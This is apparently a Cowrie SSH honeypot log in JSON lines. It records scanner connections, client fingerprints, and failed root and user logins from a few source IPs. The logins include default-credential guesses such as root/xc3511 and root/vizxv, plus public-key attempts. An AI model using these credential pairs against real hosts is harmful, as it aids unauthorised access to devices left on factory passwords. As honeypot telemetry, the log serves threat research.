{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:02:30.294346Z","src_ip":"103.149.170.125","session":"52171f34f0a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.4","message":"Connection lost after 6.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:02:31.332267Z","src_ip":"176.65.139.203","session":"33aec47ebafe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.203","src_port":55470,"dst_ip":"10.17.0.5","dst_port":22,"session":"1e2bf4d6383c","protocol":"ssh","message":"New connection: 176.65.139.203:55470 (10.17.0.5:22) [session: 1e2bf4d6383c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:02:31.413183Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:02:31.962534Z","src_ip":"176.65.139.203","session":"1e2bf4d6383c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:02:31.966880Z","src_ip":"176.65.139.203","session":"1e2bf4d6383c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:02:35.860686Z","src_ip":"176.65.139.203","session":"1e2bf4d6383c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.7","message":"Connection lost after 6.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:02:38.078438Z","src_ip":"176.65.139.203","session":"1e2bf4d6383c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.203","src_port":48326,"dst_ip":"10.17.0.5","dst_port":22,"session":"99a99a7f395a","protocol":"ssh","message":"New connection: 176.65.139.203:48326 (10.17.0.5:22) [session: 99a99a7f395a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:02:38.361171Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:02:38.872505Z","src_ip":"176.65.139.203","session":"99a99a7f395a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:02:38.876545Z","src_ip":"176.65.139.203","session":"99a99a7f395a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubnt","password":"ubnt","message":"login attempt [ubnt/ubnt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:02:42.419683Z","src_ip":"176.65.139.203","session":"99a99a7f395a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.7","message":"Connection lost after 6.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:02:45.049919Z","src_ip":"176.65.139.203","session":"99a99a7f395a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.203","src_port":48334,"dst_ip":"10.17.0.5","dst_port":22,"session":"f1aa79192ff6","protocol":"ssh","message":"New connection: 176.65.139.203:48334 (10.17.0.5:22) [session: f1aa79192ff6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:02:45.145548Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:02:46.071538Z","src_ip":"176.65.139.203","session":"f1aa79192ff6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:02:46.086790Z","src_ip":"176.65.139.203","session":"f1aa79192ff6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vizxv","message":"login attempt [root/vizxv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:02:50.066055Z","src_ip":"176.65.139.203","session":"f1aa79192ff6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.6","message":"Connection lost after 6.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:02:51.751993Z","src_ip":"176.65.139.203","session":"f1aa79192ff6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.203","src_port":44380,"dst_ip":"10.17.0.5","dst_port":22,"session":"5f2b038d34cc","protocol":"ssh","message":"New connection: 176.65.139.203:44380 (10.17.0.5:22) [session: 5f2b038d34cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:02:51.837793Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:02:52.725693Z","src_ip":"176.65.139.203","session":"5f2b038d34cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:02:52.730232Z","src_ip":"176.65.139.203","session":"5f2b038d34cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.16.180.28","src_port":42434,"dst_ip":"10.17.0.5","dst_port":22,"session":"e09df167ed21","protocol":"ssh","message":"New connection: 154.16.180.28:42434 (10.17.0.5:22) [session: e09df167ed21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:02:53.409323Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:02:53.415517Z","src_ip":"154.16.180.28","session":"e09df167ed21","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:02:53.503291Z","src_ip":"154.16.180.28","session":"e09df167ed21","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b9:76:0b:cd:0b:ad:0a:17:a7:2a:90:be:1f:80:2c:2d","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIN1qo6J1D3U7ffIHkogqRMu3dsWhDf72/dAqihwkqSYi","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint b9:76:0b:cd:0b:ad:0a:17:a7:2a:90:be:1f:80:2c:2d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:02:53.901659Z","src_ip":"154.16.180.28","session":"e09df167ed21","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b9:76:0b:cd:0b:ad:0a:17:a7:2a:90:be:1f:80:2c:2d","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIN1qo6J1D3U7ffIHkogqRMu3dsWhDf72/dAqihwkqSYi","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:02:53.907521Z","src_ip":"154.16.180.28","session":"e09df167ed21","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"79:91:4d:b0:55:00:75:c7:f6:ab:60:94:f9:0c:d6:ac","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA1hCzVqcjjlI3ZmgDRX/7i8fm1geyAu/3CinKumpUO4o/cCnhdzxQ0657NVsDHQ+JyLKLtzGDiI+LDql780iHfM6LB+hmRiaO7AeDAdGnjdsY1UyGr3j5vOMvQpWDEqCLXVHdIcPnOP+hb3iqId6goJhPgTW14uUYcFaTcZWMPxnjL8A92Ynpq6TZkCFOcmowGaVoB2gUlfY2uNGOeYO0o2nYx8i/jOdlzzoBE4KLr9Cf2pmLILgKwx2yZn/HCkxmkijR6trRLC1WRF2Z0AgThgSFxXYCh3QxbMahhSyHp5t1PqGVA1RhhzMQAu9b7BWs+0I4ckgWtyVBt9AafvXhPQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 79:91:4d:b0:55:00:75:c7:f6:ab:60:94:f9:0c:d6:ac","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:02:53.996202Z","src_ip":"154.16.180.28","session":"e09df167ed21","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"79:91:4d:b0:55:00:75:c7:f6:ab:60:94:f9:0c:d6:ac","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA1hCzVqcjjlI3ZmgDRX/7i8fm1geyAu/3CinKumpUO4o/cCnhdzxQ0657NVsDHQ+JyLKLtzGDiI+LDql780iHfM6LB+hmRiaO7AeDAdGnjdsY1UyGr3j5vOMvQpWDEqCLXVHdIcPnOP+hb3iqId6goJhPgTW14uUYcFaTcZWMPxnjL8A92Ynpq6TZkCFOcmowGaVoB2gUlfY2uNGOeYO0o2nYx8i/jOdlzzoBE4KLr9Cf2pmLILgKwx2yZn/HCkxmkijR6trRLC1WRF2Z0AgThgSFxXYCh3QxbMahhSyHp5t1PqGVA1RhhzMQAu9b7BWs+0I4ckgWtyVBt9AafvXhPQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:02:54.004438Z","src_ip":"154.16.180.28","session":"e09df167ed21","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"98:3c:0d:c8:01:21:5f:c5:80:9a:73:6d:f9:24:27:a1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA+lqrENMU2FSVV32XziKwF0scw4Bk4093hfKN2JuwIfHfcy6rxIo6W8sgOd3toCcyTTOnHTFefryF+QMTGSxXQT9W+1rnfudhdIjjpjGY5TRgjaehiBuFTjNIs/9COQiLiQ7R7jP0iQ5vKxgwGnRCTYTG+4XwsJniW/kDQWg2dLfw3Vwb6JIOJ1ukC1RFVIlQldRcx5IqZkPo7euhNtOHWFZUwVd3qNuG7pfYwgb/G2HD2sYvkJSjyQ0anBKCnP+aZtHm/SqWlBzIPvFOY3r9Qu5fMRlkaia9GuU7bV+hI6nJYcgj4/5Pn/QRw94WWKPnQ+Va0AgrSJrkIXZdkRDItw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 98:3c:0d:c8:01:21:5f:c5:80:9a:73:6d:f9:24:27:a1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:02:54.090115Z","src_ip":"154.16.180.28","session":"e09df167ed21","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"98:3c:0d:c8:01:21:5f:c5:80:9a:73:6d:f9:24:27:a1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA+lqrENMU2FSVV32XziKwF0scw4Bk4093hfKN2JuwIfHfcy6rxIo6W8sgOd3toCcyTTOnHTFefryF+QMTGSxXQT9W+1rnfudhdIjjpjGY5TRgjaehiBuFTjNIs/9COQiLiQ7R7jP0iQ5vKxgwGnRCTYTG+4XwsJniW/kDQWg2dLfw3Vwb6JIOJ1ukC1RFVIlQldRcx5IqZkPo7euhNtOHWFZUwVd3qNuG7pfYwgb/G2HD2sYvkJSjyQ0anBKCnP+aZtHm/SqWlBzIPvFOY3r9Qu5fMRlkaia9GuU7bV+hI6nJYcgj4/5Pn/QRw94WWKPnQ+Va0AgrSJrkIXZdkRDItw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:02:54.094165Z","src_ip":"154.16.180.28","session":"e09df167ed21","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"35:0a:e1:7b:66:2c:99:47:08:ff:87:2e:f5:f9:e7:cf","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCt7VuN6GyCZgXn0Cu38zE9s6LA6Ig40H+Ijwxra9oNiaGJMmLq/F/w1MYSsJgnRW5AAtzv8Pbos1RQYb4aQd/lvY7lbHZTEreRwiLRaPcCN9J0HP8QKP7vT93X6VlzlJbnDSXbZYXx0smSfZNwYTAeq/kTNOCqBA/GZSIZNDpINvWAQA2P6G4GddE/DJt/Kx0l3FvryaYsmH4rWEY1q6gX2Mxr6RhQD6b0ba4nnk8PnbbMmlKIMDoD8NWoKU2tHqow2vdb16dva6Xhg6I0HbHpaj3LcN9b/E7KfLCeuAbfJzz7GhFUspNWgL49BNU59fuQO2JnA+uNMQ07pYa1xbrd","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 35:0a:e1:7b:66:2c:99:47:08:ff:87:2e:f5:f9:e7:cf","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:02:54.179414Z","src_ip":"154.16.180.28","session":"e09df167ed21","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"35:0a:e1:7b:66:2c:99:47:08:ff:87:2e:f5:f9:e7:cf","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCt7VuN6GyCZgXn0Cu38zE9s6LA6Ig40H+Ijwxra9oNiaGJMmLq/F/w1MYSsJgnRW5AAtzv8Pbos1RQYb4aQd/lvY7lbHZTEreRwiLRaPcCN9J0HP8QKP7vT93X6VlzlJbnDSXbZYXx0smSfZNwYTAeq/kTNOCqBA/GZSIZNDpINvWAQA2P6G4GddE/DJt/Kx0l3FvryaYsmH4rWEY1q6gX2Mxr6RhQD6b0ba4nnk8PnbbMmlKIMDoD8NWoKU2tHqow2vdb16dva6Xhg6I0HbHpaj3LcN9b/E7KfLCeuAbfJzz7GhFUspNWgL49BNU59fuQO2JnA+uNMQ07pYa1xbrd","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:02:54.183946Z","src_ip":"154.16.180.28","session":"e09df167ed21","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2b:94:a2:64:ca:1b:4e:27:cd:8b:5c:81:ec:0d:24:c1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAsHywMKxuQTN1KD81CoV614Eh03iKUvlPbSQ47ivkLHWHql5ytcX25CfzWaNHSQN+iixXSP3NtTPdo8yXYZaWGZfoHqa15Y1F59t6zyhF/7jQX13LicWKM5SxNuSWA25O6DeDo2mzltu2HMGG2q2c/RWYLvpeJ4zbKWA44feLA1bCk6E9nZCpmZ/BimI1+klQPtUvjs2DpN3V+9lSApH1nOALZUrS5iswECbVlvWQe9buo2hZrDSxQPDtEtSjCX6ICPnLcUiqYZHD5XhTZTWtIj6frib+Gtyw9bHk+Y/YZ73S15Xxa4Z2MG+6UJ7B0Io7mlj8LJKn4PymMiICy+DUnQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2b:94:a2:64:ca:1b:4e:27:cd:8b:5c:81:ec:0d:24:c1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:02:54.277728Z","src_ip":"154.16.180.28","session":"e09df167ed21","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2b:94:a2:64:ca:1b:4e:27:cd:8b:5c:81:ec:0d:24:c1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAsHywMKxuQTN1KD81CoV614Eh03iKUvlPbSQ47ivkLHWHql5ytcX25CfzWaNHSQN+iixXSP3NtTPdo8yXYZaWGZfoHqa15Y1F59t6zyhF/7jQX13LicWKM5SxNuSWA25O6DeDo2mzltu2HMGG2q2c/RWYLvpeJ4zbKWA44feLA1bCk6E9nZCpmZ/BimI1+klQPtUvjs2DpN3V+9lSApH1nOALZUrS5iswECbVlvWQe9buo2hZrDSxQPDtEtSjCX6ICPnLcUiqYZHD5XhTZTWtIj6frib+Gtyw9bHk+Y/YZ73S15Xxa4Z2MG+6UJ7B0Io7mlj8LJKn4PymMiICy+DUnQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:02:54.283091Z","src_ip":"154.16.180.28","session":"e09df167ed21","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:02:54.369287Z","src_ip":"154.16.180.28","session":"e09df167ed21","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"xc3511","message":"login attempt [root/xc3511] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:02:56.385253Z","src_ip":"176.65.139.203","session":"5f2b038d34cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:02:56.661012Z","src_ip":"176.65.139.203","session":"5f2b038d34cc","protocol":"ssh"}
